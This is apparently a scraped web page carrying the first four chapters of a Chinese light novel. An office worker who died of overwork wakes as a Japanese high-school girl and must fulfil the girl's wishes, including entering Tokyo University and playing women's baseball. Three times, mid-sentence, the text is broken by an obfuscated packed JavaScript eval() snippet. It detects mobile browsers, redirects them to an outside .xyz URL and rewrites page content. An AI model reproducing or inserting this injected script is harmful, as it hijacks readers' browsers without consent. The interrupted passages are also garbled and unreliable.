《我的冒牌青春才没问题》 1. 重启人生天花板 以后换个正经名字《再见安打》 Walk-off hit 睁开眼的第二秒，浮现在关真夏脑子里的第一个东西是背得滚瓜烂熟、但从没机会用过的请假信息模板。 老板对不起，我昨晚吃了北极熊没盖被子，现在脑袋被台球桌砸了，很痛，今天想请半天假。 动了动手臂，关节却僵硬得像生了锈。 关真夏皱着眉试图在枕头边摸索手机，指尖触摸到手机屏幕，冰凉的触感直冲脑门时她才突然发现不对劲。 ……不对不对。 不是反应过来刚才那段请假消息有多荒谬，而是映入眼帘的房间场景终于在大脑里加载完成，这根本不是关真夏自己的房间。 刚好够睡下她的单人床，头顶就是连通阳台的落地窗，左手边是墙壁，右手边有一张书桌，房间整体很整洁，被为数不多的简单家具填得满满当当。 最大的不同是衣服都整整齐齐地挂在衣柜里，不像她自己的房间，东一件西一件随机刷新在床尾和地板之类的地方。 ……这是哪儿？我怎么到这来了？ 关真夏忍着四肢的酸痛爬下床，开始试图回忆在这之前自己都干了些什么。 记得是普通的星期一，加班到晚上10点后拖着疲惫的身体回到家，没力气做饭，于是打开外卖软件点了一份特价外卖，在等待骑手送餐来时自己无所事事地玩着手机，刷到关于青春恋爱的日剧剪辑，感叹了一句下辈子我也想过那样的人生，然后心脏突然一阵绞痛，…… 啊，对哦。 关真夏闭上眼。 我猝死了来着。 关真夏低头看向自己的手，动了动手指，思考了一会儿就很平静地接受了自己英年猝死这件事。 她没来由地突然想起完成的最后一件工作。离开公司之前撰写的给海外重要客户的工作邮件回信里，因为疲惫没耐心仔细检查，打完最后一个句号就草率地点击了发送，现在想想邮件的末尾好像忘记加上落款了。 ……完了。 简直像高考响铃前最后5秒发现忘记涂选择题，心脏漏跳的拍数比猝死时还要真切。 她突然有点庆幸在被发现前及时去世，不然肯定会被老板揪着耳朵，不是，捻着骨灰训“懂不懂得商业礼貌、这笔交易黄了你负责吗、你不干有的是人干”之类的话吧。 “不过这房间是怎么回事，天堂吗？” 抱着点劫后余生的庆幸，她自言自语，走到书桌旁，从叠放的书堆里随手抽出一个笔记本，只见封面上端端正正地写着“関真夏”，正是她自己的名字——先不提根本没有用过这样的笔记本的记忆，她什么时候喜欢用繁体写名字了？ 关真夏有点疑惑。 她继续翻看书桌，又找到几本数学和物理的教辅书，以及一张有几十人的合照。她一眼就看到了第二排角落里的一个女生，穿着白衬衫、藏蓝色的西装外套和百褶裙，长得跟14、5年前刚上高中的自己几乎一模一样，那张熟悉的脸笑得很灿烂。 不难看出这是一张班级合照，同学们身后的校门上写着“星原高校”。 这是我吗？ 我什么时候、在哪里拍过这种合照？ 这学校和制服看起来也不像国内啊？我被人P上去了吗？ 关真夏满脑袋问号，有点处理不过来接收到的信息。她狐疑地抄起一旁的梳妆镜对准自己的脸——只见一张年轻饱满的少女的脸庞映在里面。 ……！ 她倒吸口气，一巴掌拍在自己脸上。没有电脑屏幕照射出的暗黄，没有加班后的黑眼圈，没有作息不规律导致的痘痕…… 那瞬间简直有某小学生侦探破案时那样刺眼的白光闪过脑海，一下子反应过来的关真夏喜出望外地大喊一声，完全忘记了身体的不适，一头扑在柔软的被团里。 现在的情况来说的话……！ 我真的按照猝死前的遗愿穿越成日本JK了？！ 那也就是说…… 每天不用面对啤酒肚中年领导和爱嚼舌根的同事，而是穿着制服清爽的男高女高？ 夏天等待我的不是夏日限定企划带来的无穷尽加班，而是和朋友穿浴衣去看花火大会？ 不是下班后一个人在家百无聊赖地刷短视频，而是和同伴在社团活动挥洒汗水？ 关真夏瞬间被喜悦冲昏头脑，忍不住笑出声。嘴角扬起的弧度太陌生，她突然愣住，笑容定格在脸上。 猝死之前，自己有多久没像这样笑过了？ 9年义务教育，早6晚10的高中生活，考上当地一所普通大学后进入互联网公司，没有朋友，和父母关系疏远，随波逐流地活到29岁，关真夏曾过着完全是青春反义词的、一眼能望到头的无聊人生。 ……不是做梦的话，这简直就是重启人生的天花板。 “你已进入愿望互补系统。” 狭小的房间里突然响起冷冰冰的机械音。 在床上打滚到一半的关真夏被吓一跳，迟疑地抬起头，试图找出声音的出处，却以失败告终。 她抬头对着空气问：“谁在说话？” “没有人在说话，我是你脑子里的系统。” “系统检测到你临死前曾许下过想变成日本女高的愿望，所以将你安排到了因意外去世的原主的身体里。” “你的任务是：在原主高中毕业前帮她完成3个愿望，才可回到现世继续生活，否则将永远死去。” “从现在起，任务开始。” 机械音毫无感情地口播，关真夏听着听着开始怜悯，这位系统估计也是跟自己一样厌倦了工作却出于某种原因不得不当牛做马的打工人。照这个情况来看，原主不仅和她同名同姓，甚至连长相都惊人地相似，完全就像为她量身定制的角色一样。 关真夏好奇：“话说你们这系统是只会匹配名字一样或者长相接近的人吗？” “不是，巧合而已，也有少年穿越成八十老太的情况。”系统一板一眼地解释。 关真夏：“……哦。” 愿望补完系统吗？关真夏有点后悔，要是自己死前多看看快穿文积累经验有多好。 “那这孩子的愿望是什么？”她问系统。 “……你怎么不问问题？”冷冰冰的声音里竟能听出一丝震惊。 关真夏反问：“什么问题？” “我是谁、为什么会有这个系统、是不是诈骗、快放我回去，之类的。” 关真夏笑一下，“哦，我上司……死之前的前上司不喜欢员工问问题，说这种小事不要麻烦别人。” “所以这孩子的愿望是什么？” 系统：“……” 关真夏诚恳地等了十分钟仍然只有一片沉默。得，宣布完必要事项系统就开始装死了，看来连需要完成的任务都得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560000|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找出来。 十几岁的女高嘛，想要的东西无非是那几样。关真夏回忆了一下自己的高中时代，信心满满地撕下一张草稿纸开始动笔。 她写下第一条：考上东京大学。 Bingo！正答后清脆的提示音响起。 她又接着写下第二条：谈一场偶像剧般的恋爱。 这次却毫无反应。 ……诶？奇怪。那还有些什么呢？ 和喜欢的人看花火大会，拥有一亿存款，周游世界？ 关真夏写满了一张纸，都没能得到第二个正确答案。也是，年龄差得这么多，不知道现在的孩子脑子里在想什么也正常，关真夏果断放弃靠枚举法来寻找第二个愿望。 不过好不容易得到穿越的机会却死于不知道任务是什么的话也太惨了吧？！ 关真夏思考了一下，从乱成一团的被子里刨出手机。果不其然界面都变成了日语，她对着锁屏密码界面犯难，试探性地输入下“1234”，滴答一声，——还真瞎猫碰上死耗子，给她解锁进去了。 关真夏一阵无语：“……你太单纯了吧JK真夏。” 虽然完全没有学过日语，她发现自己竟然能无意识看懂所有文字。这应该也是系统出于人性的设置吧，她多少安心了几分。 点开电话里的联系人，真夏拨通了备注是“妈妈”的号码。 电话铃响了好一阵才被接起，女人的声音混在仓促的脚步声中传过来。 “真夏？怎么突然打电话过来了？” Manatsu，原来原主的名字是这样发音的。 陌生的日语到了耳中却能自动理解出意思，关真夏感动得有点想哭，感觉这简直是自己离天才最近的一次。 她单刀直入：“妈妈，你记不记得我的愿望是什么？” “愿望？突然说这个是干什么……你这孩子，小时候不是说想成为假面骑士吗，就是那个吧，拿会发光和唱歌的腰带甩着玩的那个。” “妈妈这边忙，先挂了。” 没等关真夏回答，电话挂断的忙音就响起来。 ……真是急性子的妈啊。 不过成为假面骑士又是什么？JK真夏还是个中二病吗？如果真有这个愿望的话我可实现不了，真夏十分忐忑地写下：变成假面骑士。 她第一次因为系统的沉默而感到庆幸。 不是这个就好！ 真夏望着那张被填得密密麻麻的纸，抓了抓头发甩下笔，索性决定暂时先不想了。毕竟从教科书和开学时间推断原主应该刚升上高二，还有两年时间呢，先从已经解明的“考上东大”这一点开始入手吧。 至于为什么没继续问联系人里的爸爸，因为电话拨过去后根本没有被接起来。 ……不过一上来就是合格东大，真是硬核的愿望，还好遇上的是我这个被应试教育拷打了12年的人，真夏看一眼厚厚的教辅书叹口气。 倒没有很强烈的欲望想回到原来的世界去，那样食之无味的人生里猝死简直是数一数二的新鲜事。只不过8年社畜生活培养出来的习惯就是这样，被下达了“任务”后不管怎样都要尽力完成，对她来说已经是渴了喝水饿了吃饭那样自然的举动，所以听到系统说那些话后才会如此波澜不惊地、迅速地进入角色。 她翻开日历，3月31日。 明天的日期下用荧光笔标注着：高二开学的日子。 2. 今天开始我要自己上厕所 体育馆门口有棵樱花树，还没到开花的全盛期，不知是不是关真夏的错觉，好像台上的校长每说完一句话就会有一片花瓣掉落。 关真夏坐得离校长近，清晰地能看到随着发言时长的推移，校长打满发胶的头发以一定的速率塌软下去。 身旁的同学们都开始打起哈欠。 “有完没完啊……” 关真夏听见身后的男生小声抱怨。她面无表情地放空，在心里嘲笑这些小孩真是功力太浅，不像她工作这几年参加过数不胜数的会议，眼下这点折磨简直是小菜一碟。 她承认早晨穿上之前只在日剧里见过的制服、混在高中生堆里溜进学校时，自己这颗平静古板的心也跳得很剧烈，既紧张又忍不住期待。 全校集会开始前她偷偷在学校里溜了一圈弯。种在校庭边缘的花树，从楼顶垂下的条幅上写着“祝贺男子排球部获得县预选赛优胜”、“祝贺我校旧帝早庆合格者数57名”；她还一口气爬到教学楼的天台上，学着日剧女主那样靠着栅栏发呆，在阳光下看到了远处的海。 她低头盯着袖口处蹭上的铁锈，在周围同学们窸窸窣窣的躁动中才慢慢冷静下来。 关真夏这才意识到危机。 原因是集会结束时她被边迎面跑来边大喊“真夏——！”的女生硬控住，而她发现自己根本不知道对方是谁。 “……你说句话啊系统，”眼看着女生越跑越近，关真夏警铃大作，在脑袋里疯狂戳到现在一句话没说过的系统，“基本的人际关系你得告诉我吧？？喂上班时间不要装死摸鱼啊？！” 系统：“抱歉，本系统采用最自由的世界模式，一切都需要宿主自行探索。” “……” “那你的语气倒是更抱歉一些啊！”真夏咬牙切齿。 女生一个急刹车停在她面前。没招了，真夏硬着头皮挤出一个笑，“早上好啊哈哈，今天天气……” 女生根本没等她说完，兴奋地打断她，“这学期也和真夏分到同一个班，遥奈真的太开心了！” 哦，原来叫遥奈，感谢现在的年轻人这喜欢用名字称呼自己的习惯。 “和遥奈在一个班我也很开心，”真夏脑筋一转，打算诱哄她说出更多情报，“我们班还有什么认识的人来着吗？” “有啊有啊，上学期跟我们一个班的灯里，还有和灯里表白后被拒绝的西村，说起来你不知道西村被她甩了吧？甩得超——绝情的。” “那个西村？我倒是觉得被甩得挺正常的。”关真夏斟酌着不会出错的万能摸鱼回复，“你也知道，他是那种人嘛。” “哦对了，真夏你之前单恋的青木也在我们班！说起来就来气，他拒绝你去月巴克一起自习也太过分了吧？” “没事，被拒绝也没有损失什么，你不说我都快忘记这个人了！”这句倒是实话。 遥奈话头一顿，惊讶地看了她一眼。 ……哦，JK真夏还是个恋爱脑人设吗，真夏赶忙扯出一个“我只是嘴上逞强其实我难过死了”的苦笑试图弥补。 遥奈没多想，又接着说下去，“然后的话，听说海渡转学了，就是长岛海渡那家伙，不过真夏你和他比较熟……” 有生以来听八卦最认真的一次，真夏恨不得当场掏出纸笔出来记笔记。 年轻人就是有生命力啊，时隔一个假期见到朋友简直像有三辈子说不完的话，真夏一边听遥奈滔滔不绝一边点头附和，不知不觉已经走到高二3组的教室门前。 “不过你知道吗真夏，”遥奈突然神神秘秘地压低声音，“最倒霉的是听说我们的数学老师是——” “是谁？” 一道拖长音的询问从背后传来。 两人被吓得一抖，回头看见一个男人站在那里，饶有兴致地盯着她们，像是从不知什么时候开始跟踪在身后偷听了一路。 那人头发稍长，刘海耷拉着遮住眉毛，带一点自然卷，看不出任何打理过的痕迹；略猫着背，其他老师都西装革履，唯独他白色打底衫上套着一件黑色圆领卫衣，甚至都能想象出是他快要迟到早晨临出门前随手套上的。 洗衣粉的清香味飘过来，真夏皱了皱鼻子，心想脸看着这么年轻，这孩子如果会捯饬自己绝对也是典型日系帅哥。 “……天野！” 遥奈剩下的半句话就这么没过脑子地溜了出来。 身后的男人点点头，挥手把尚在外面的学生们赶羊似的赶进教室，就算被直呼大名也毫不在意。 “没错，就是我。” “快进去坐下，你们担任老师排的座位表在讲台上，不过不按照那个也无所谓，反正她今天不在。” 教室里的同学们一看见他就开始起哄。 “喂天野，开学第一天不应该是担任老师来吗，你在这里做什么？” “那干脆今天也别收假期作业了吧，反正是天野——” 这个天野，是数学老师。 是一个老师。 而所有学生都在直呼他大名。 还不用敬语。 在角落老老实实坐下的、读着教育人们尊师重道的《孔子》长大的关真夏受到了不小的冲击。 师说，唐，韩愈。 古之学者必有师。师者，所以传道受业解惑者也。 关真夏木着脸开始背书，试图刷洗一下自己的三观。 “好了好了，都安静点！” “那边的川合，不要和铃木说小话了，你和松田分手之后跟那家伙在一起了吗？” （“……才没有！”） 天野老师敲了敲黑板，底下同学的骚动才停息一点。 “你们的担任山本老师孩子生病了，今天学校找我来代替她。” “为什么偏偏喊你来啊——？” 天野随手拿起一根粉笔，转身刚想在黑板上写下什么就又停下。比起刚才的那些玩笑这句话的语气明显更冒犯。真夏注视着他停顿的背影，心想完了，这下肯定要生气了。 没想到天野慢悠悠地转过头，朝着故意挑事的那个男生笑一下。 “白痴吗坂本？那肯定是因为刚开学，其他老师都很忙，只有我闲着啊。” 他继续手上的动作，在黑板上一笔一划地写下三个大字。 天野守，真夏在心里默念出来。 字有够丑的。 “我叫天野守，虽然应该没人不认识吧，”天野老师扔下粉笔，拍拍手上的灰，“是你们高二的数学老师。” “嗯——还有什么来着？” “哦对了，开学第一天，这个学期都给我老实点不要惹事，想玩的话抓紧时间尽情玩，升入高三之后再偷玩就要被你们的家长揪着耳朵骂了哦！” 天野停下来摸摸后颈，像忘词的演员在尝试回忆台本。 然后干脆地放弃了。 他啪地一声合上笔记本夹在腋下——据坐在第一排的同学说那上面其实什么都没写——摆摆手示意散会，走出教室门口时才想起什么似的又探个脑袋进来。 “春假的数学作业交给关！” 全班目光聚集在真夏身上。 天野老师前脚刚走，下一秒遥奈就凑过来迫不及待地跟她吐槽。 “哇——运气也太差了吧，还被他指名什么的，真恶心。” 天野守出现得太快消失得也太快，关真夏依然一头雾水，“还好吧……？老师刚才也没说什么特别的。” 遥奈夸张地摇头，“跟说了什么没关系，他这个人就是很糟糕啊，也只有真夏这种好孩子会喊他老师吧？” “也对，高一的时候真夏不在他班上吧？而且你又整天只知道学习，不清楚那个人的所作所为也情有可原。” 遥奈扯过一把椅子跨坐在上面，俨然一副不给真夏科普那个人有多糟糕就不罢休的模样。 “以前学生去职员室给他送作业的时候，发现他居然在桌子下藏二次元女角色的等身抱枕，还是衣不蔽体的那种。” 刚才闹事的坂本听到这边在编排天野也凑过来，插嘴补充道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560001|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “而且去年放假前他布置了巨多暑假作业，说会一道题一道题检查，没认真写的话要通知家长来学校，我熬了两个通宵才补完，结果开学后他转头就把作业这件事忘得一干二净了！” “那是你太笨蛋了吧？谁会真的相信那种话啊！”遥奈敲了敲坂本的脑袋，“不过他之前在课堂上大谈特谈自己的感情经历，我从那个时候就感觉他不对劲了。” “而且、而且，天野那家伙最过分的不是那次吗？” 遥奈和坂本对视一下，达成了共识似的点点头， “对着早纪说你想和我结婚吗，虽然我和早纪关系也不好，但身为教师那样做真的可以吗？” “早纪也从那之后开始被人拿和天野结婚这件事开玩笑了吧？” “我甚至听说天野连□□免许都考了好几次才通过呢。” …… 加入天野声讨会的声音越来越多，到最后已经无从分别真假。关真夏吃瓜吃到麻木，说实话她对这些孩子们在意的八卦没什么触动，毕竟她比这位正在被落井下石的废柴老师还要大三岁，在她看来无非是一群小孩凑在一起说另一个小孩的坏话。 不过通过开学第一天她获得了很多关于JK真夏的人际关系的信息，对此感到十分满意。 电视剧诚不我欺，放学铃居然真的在三点半时响起，真夏回绝了遥奈一起回家的邀请，从学校出来后径直走向书店，她打算去买几本备考东大用的参考书。 叽叽喳喳的青春固然美好，但关真夏还有更重要的任务在身。 刚在书店的高中参考书角落驻足时她就被震撼到了。满满一面墙的红色书脊，这些被叫做“赤本”的参考书是每个大学各自的历史真题，有些学校收录有7年，有些只有5年，不变的是可观的厚度，令人望而生畏。 而且根据关真夏粗略的考察，这里的考大学制度与国内不同，想考东大这样的国公立大学的话，在参加完类似高考的统一试验后还需要参加每所学校独自的二次试验，而每个学校喜欢出的题都五花八门，这正是需要进行特别对策的难点。 关真夏对着满书架的参考书犯了难，决定总之先买一册东大的赤本，回去看看题目倾向再选择参考书。 ……实在是太厚了！ 真夏对着拿到手里的重量陷入沉思。 “哟，这不是关同学吗？” 这时白天短暂听过一段时间的嗓音响起，关真夏抬头，竟是正假装低头研究书籍的天野守。 关真夏余光瞟过去，那本书，更准确地说应该是绘本，的名字叫做“今天开始我要自己上厕所”。 真夏：“……” 就算眼前的师再不像话她也努力秉持着尊师重道的优良美德，“天野老师，您也是来买参考书的吗？” “当然不是，”天野耸耸肩，“在书店门口看见我喜欢的动漫的粉丝会活动宣传广告，进来一看发现早结束了。” “不过你这是准备考东大吗？”天野的视线往她怀里的书封上飘，真夏下意识警惕地把书抱得更紧。 “啊，嗯……就随便看一下。”她尝试糊弄过去。 天野抬了抬眉毛，“诶——放学后不再玩抛接球到天黑，直奔书店打算认真学习了？真励志。” 疑问以一二三点的形式条理清晰地浮上关真夏的脑海。 “什么抛接球？是指棒球吗？” “我喜欢这个吗？” “不过老师你是怎么知道我打棒球打到天黑的？” 天野守闻言站直身体，煞有介事地合上那本《今天开始我要自己上厕所》。 “没错，就是抛接棒球。” “我哪知道你喜不喜欢，问问你自己吧。” “之前不小心在操场旁边的仓库里一觉睡到晚上9点，出来看发现你还在那儿扔棒球玩，差点当非法侵入学校的流浪汉报警了。” ……要说非法侵入的话怎么看也是在仓库里睡到晚上的老师更像吧？ 我还是太有礼貌了，关真夏后悔地想。 3. 我想加入棒球部 今天的晚霞是粉色，暮光穿过几缕稀薄的云层，从东边横渡到西边。棒球场缘树立的高耸拦网上飞下来一只乌鸦，闯进关真夏的视野。 “系统，”她决定发起最后一轮谈判，“你就告诉我棒球到底是不是第二个愿望吧。” 前几天在书店听到天野老师那么一说，回家后关真夏就抱着尝试的心态在愿望清单上写下一条“想打棒球”。可与过往每次失败的尝试都不一样，系统既没有明确否认，那声清脆的正答提示音也未曾响起。 简直就像之前问老板选方案一还是方案二，老板回答说好的。 她划掉“打棒球”改成“加入棒球部”，甚至突发奇想地改成“成为职业棒球选手”，系统始终保持着暧昧的态度，急得她想钻进自己脑袋里给系统两拳。 “宿主不可以殴打系统。”系统提示。 下属还不可以啵上司嘴呢，关真夏小声吐槽。不过原主这孩子还真够奇怪的，喜欢某项体育运动的话按理来说房间里不应该摆点相关道具之类的吗？但凡往墙壁上挂一根球棒她也不至于苦苦寻找这么久。 对此系统的解释是，已事先清理过原主生活里与愿望关系太密切的物证，这些物证将根据任务完成进度，作为阶段性奖励发放。 第一阶段是凑齐两个愿望后。 一人一系统对峙时，一颗棒球直直地冲着关真夏面门飞过来，吓得她下意识往后退，还好那颗看起来有着巨大动量的球被拦网挡住了。 “全垒打——！” 一名棒球部员兴奋地大喊着跑去捡球。 真夏看着正在训练的扯着嗓子跑来跑去的部员们，一个个皮肤晒得黝黑，训练服上都沾满泥土，完全看不出原本的颜色。她不由得皱了皱鼻子，心想这JK真夏看着挺文静一小女孩居然喜欢这种运动，内心这么狂野的吗。 “请不要诋毁他人的兴趣爱好，在脑子里偷偷诋毁也不行。”系统冷不丁地开口。 关真夏拿他没辙，彻底把他划分为语言不通、脑回路清奇、沟通困难的问题同事。 僵持几天不下，事到如今也只能自己做点尝试了，反正就算出错也不会被老板骂。 她握拳给自己打气，深呼吸几下，走向球场入口。 没事的，一群小孩而已。 没事的，就算丢脸也没关系，这辈子很快就过去了。 没事的……！ 一旁的棒球部监督发现正靠近的她，在正常音量可以对话的距离前就扯着嗓子朝她大喊：“无关人员不要进入球场，很危险的！” 关真夏一惊，感受到投在身上看热闹的视线带来的压力，她不得不清清嗓子也拉高音量回话，“我想加入棒球部！” ……在这么多人面前喊出来了。用不惹事才是王道的心态活了30年，习惯于作为角落生物眼观鼻鼻观心地默默生存，关真夏突然感觉现在的自己像脑子一热下海游泳的鼹鼠。 “你说什么？” 更要命的是监督没有听清，想让她重复第二遍。 海水咕嘟咕嘟倒灌进鼹鼠用来藏粮食的巢穴。 “……” 关真夏指甲嵌进掌心里，平时在公司都不太大声说话的她豁出去了。 “我说！” “我想加入！” “棒球部！” 吼完这句话也走到了监督的面前，真夏依然能感觉到那群男生看到什么新奇动物似的视线聚集在她背上。 监督收起捧着的计分板，用铅笔挠了挠脸颊，显得有点为难：“不好意思啊，我们棒球部的经理已经招满了……” “不是经理，”真夏打断他的话，“我想作为选手加入棒球部。” 监督脸上刚才略微带点抱歉的表情短暂地凝固了一下，眉头先皱起，见真夏一脸认真，像听到什么荒唐的笑话那样抽了抽嘴角。 “如果你是认真的话，虽然很遗憾，但那当然不行。” “怎么会有女生想加入棒球部，你自己看看像话吗？” 围过来的部员们也都笑起来，脑袋凑在一起用自认为的小声议论，关真夏依稀听到几句“女生打棒球一点都不可爱”、“很容易被打骨折吧”以及“要缩短成5局、啊不3局赛制吗”之类的话语。 关真夏皱眉，觉得有些不可理喻。 “可是，”她缓缓指出，“这里是星原高校棒球部、而不是星原高校男子棒球部吧？” 私语停下一瞬，接着一个声音冒出来。 “棒球部的话不就默认是男生了吗？现在有女子棒球部的学校还少着呢。” 她想起来大学临近毕业找工作那会儿，这种光景她也曾经历过。理工科学校男多女少，那天去投简历时她站在一串男生后面，本来站着跟前面应届生们一一握手的HR看见她后直接坐下了，用下巴示意她把简历扔在桌上。 那天好像是自己用力地把简历一巴掌拍在他面前，碍于身后还在等待的人群的目光，一怒之下就怒气冲冲地走了。 但只是生气是没用的，不同于那会儿还没毕业的她，现在的关真夏对这一点心知肚明。关真夏也懒得跟这群臭小孩斗嘴皮子，社会生活教会她的生存法则第一条，观念不合时永远不要试图说服别人，否则有收获的只会是自己的乳腺。 这一轮尝试未果，她轻轻点一下头说抱歉打扰大家训练，随即果断地转身离开球场，只想赶快逃离这个是非之地。 正当她一边往出口走一边思考接下来的行动时，身后有个声音喊她名字。 “真夏！” 关真夏下意识回头，看见其中一个部员跑了出来。那人训练服的胸口处绣着“青木”这个名字，气喘吁吁的，显然是刚下定决定偷偷从队列里冲刺了出来。 “训练结束后在学校门口那家刨冰店见一面吧，我有话想说！” 出现了，日剧里的经典店铺，一般来说是咖啡店或者甜品店，刷新在学校门口，男女主通常会去那里幽会。 这家刨冰店的氛围确实不错，装潢是欧式清新范，原木的桌椅排列整齐，店内还放着某JPOP乐队的最新单曲。不过关真夏从没有去这种潮流小店打磨时间的爱好，甚至自称有潮人恐惧症，一个人待在店里只觉得自己格格不入、自惭形秽、如坐针毡。她坐在窗户边的座位，能看见人行道上西装革履的社畜们步履匆匆地往家赶。 真好啊，我也曾是那里面的一员。 对于潮流的畏惧瞬间被中和大半，真夏面无表情地翻一页菜单，打断自己这份危险的怀念。 系统大人我开玩笑的，我没有真的想加入进去。 “抱歉抱歉，来晚了。” 青木推门而入，真夏朝他招招手。男生挎着膨大的训练包，来之前还把脏兮兮的队服换了下来，发梢上滴着水珠，不知是不是特意冲了个澡。 青木诚也，在等待的时间里真夏已经对这个人做了研究——不过得到的情报也只有他和自己一个班、是棒球部成员、JK真夏之前喜欢过他这种程度。 两人点的苏打刨冰端上来后，青木才开口。 “今天下午的事抱歉啊，棒球部的那些家伙说话太过分了。” 关真夏摇摇头，她是真没往心里去，没等嘴里的刨冰咽下去就含混地回答：“跟那群小孩没什么好置气的，又不是诚也说的，也不是诚也决定的规则，你道什么歉？” 青木愣了下，关真夏的生日在年底，明明比当时在场的部员的一大半都要年纪小，怎么这么自然地说出了……简直是自己已经有俩孩子的姐姐会说的台词？ 青木眼神复杂地歪头越过刨冰塔尖看一眼关真夏，可能是角度问题吧，这种“你今天吃错药了吗”的眼神到了关真夏那里自动翻译成了如释重负。 “我真不是那种爱记仇的人啦，”关真夏为了让他放心还继续补充，“之前约诚也一起自习被拒绝之后我不也没说什么吗。” 很好，从遥奈那儿听来的情报发挥用途，关真夏在心里给自己鼓掌。 “啊……那件事啊。” 青木的语速突然奇怪地放缓，整个人看起来微妙地不自在。 “嗯……没能回答真夏的心意我也很抱歉，”终于他像是下定了决心似的抿了抿嘴唇，“不过还是觉得和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560002|186920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真夏当朋友的时间很开心，不想就这样失去一个认识这么久的朋友。” ……？ 原来是那种拒绝啊？ 约自习就约自习，学习的时候不要顺便告白好吗女子高生，让我丢脸的事你真是顺手就做了，真夏面无表情地捏紧手里的勺子。 “所以如果真夏想打棒球的话，我可以陪你训练！……作为棒球同好！” 没等她代入这个告白失败的新身份，青木又忙不迭地补充，小心翼翼地，像是生怕真夏对他有意见，觉得他是个拒绝告白又想享受喜欢的渣男。 真好啊青春，人小小的烦恼也小小的，看着对面那位脸颊憋得有些泛红的男高，应该是鼓足了勇气说出的话吧。按理来说应该是让人心跳加速的场景，真夏却诡异地感到一股慈祥。 “可以吗？那就麻烦诚也了，谢谢你！” 真夏朝他笑一下，示意他快吃，不然全都要融化了。 青木也笑，一边嘿嘿笑一边往嘴里塞刨冰。真夏突然觉得也不是不能理解16岁的JK真夏为什么会喜欢他。她点点头，在心里同意了这门婚事：小真夏，这人除了目前不喜欢你其他看起来还不错。 请不要干涉原主的感情生活，她隐隐约约听见系统冒出来一句。 “不过真夏还真是一如既往，”青木又说，“从中学开始就喜欢打棒球了吧？” “我记得高校受验的时候，明明已经合格偏差值更高的星高了，你还一个劲地想去海野西，不也是为了那里的女子棒球部吗？不过最后被你父母拦下了来着。” 关真夏挖刨冰的动作顿了一下。 女子棒球部？这是她从未想过的方向。如果是这样的话，就能解释得通之前系统那令人抓狂的模糊态度了：的确是棒球，但不仅是单纯的打棒球。强烈的预感浪潮一般涌向她，催促着她赶紧跑回家验证这个猜想。 关真夏坐直身体，双眼亮起来。 “海野西高校吗……”她重复着。 青木以为自己又戳痛了真夏不想提及的过去，连忙摆手，“没事没事，虽然我们学校没有女子棒球部，但我不是说了可以陪你一起练习吗？” “每周四次怎么样？不够的话就五次？我周二周四周六有打工，但周二可以早退！” 真夏猛地一抬头，对面的青木被吓一跳。她刚抓着书包站起身，又想起什么似的把抬起一半的身体硬生生按下去，大口吞了两勺刨冰才动作迅速地跑出去。 “谢了，诚也！” 青木诚也望着她远去的背影目瞪口呆。 他喃喃自语：“是次数太多了她反而不好意思拒绝吗……？？” “自言自语什么呢？” 青木一激灵，转头发现居然是天野守，幽灵似的不知什么时候出现在面前，毫不客气地一屁股坐在真夏刚刚坐过的位置。 “……喂天野，你在这待多久了？在偷听我们说话吗？” 天野耸耸肩，脸上写满了“谁知道呢”的表情，抬手示意服务员过来点单：“要一份跟刚才的女生一样的刨冰，让对面这家伙付钱。” ……哈？想都没想青木就发出质疑。 “马上就是甲子园的县内选手权第一轮了，你们棒球部在严格控制饮食吧？不想被监督知道你晚上偷偷吃甜品就乖乖给我买单。” “你怎么知道，明明跟任何体育会部活都没关系……” 青木咬了咬后槽牙自认倒霉。 “你和那孩子关系这么好的来着吗？我之前都没发现。”天野随口问，低头研究自己的指甲。 “我和真夏从中学开始就认识了，不过这关你什么事？” 天野抬眼用看笨蛋的眼神看他，伸手一指窗外漆黑的夜景：“那就应该送她回家啊，没看到这附近有痴汉尾随JK的新闻吗。” 青木愣了一下，觉得他说得有道理，一时之间在“现在立刻追出去”和“继续辩论不能落下风”之间摇摆不定。 “不过啊，”这时天野语气沉沉地开口，没给他继续犹豫的时间， “你没觉得她开学以来有点不对劲吗？” 4. 我负责任就行了吧 棒球场看台上观众寥寥无几，在场的多半是来看自己女儿训练赛的中年男女；不过他们也看起来兴致缺缺，比起关心赛况更愿意互相闲扯家常，每次有队伍得分时场上队员的欢呼声才唤回他们的注意，也跟着敷衍地喝彩两声。 穿着别校制服的关真夏在人群中格格不入。不过关真夏特意来海野西高校不只为了看一场普通的训练赛，一是为了实地考察一下高中的女子棒球部的实态，二是为了找人。 “系统啊，”她又看了看手里的照片再抬头往球场里张望，“你们给的所谓的阶段性奖励会作假吗？比如说这照片会不会其实是PS出来糊弄我的？” 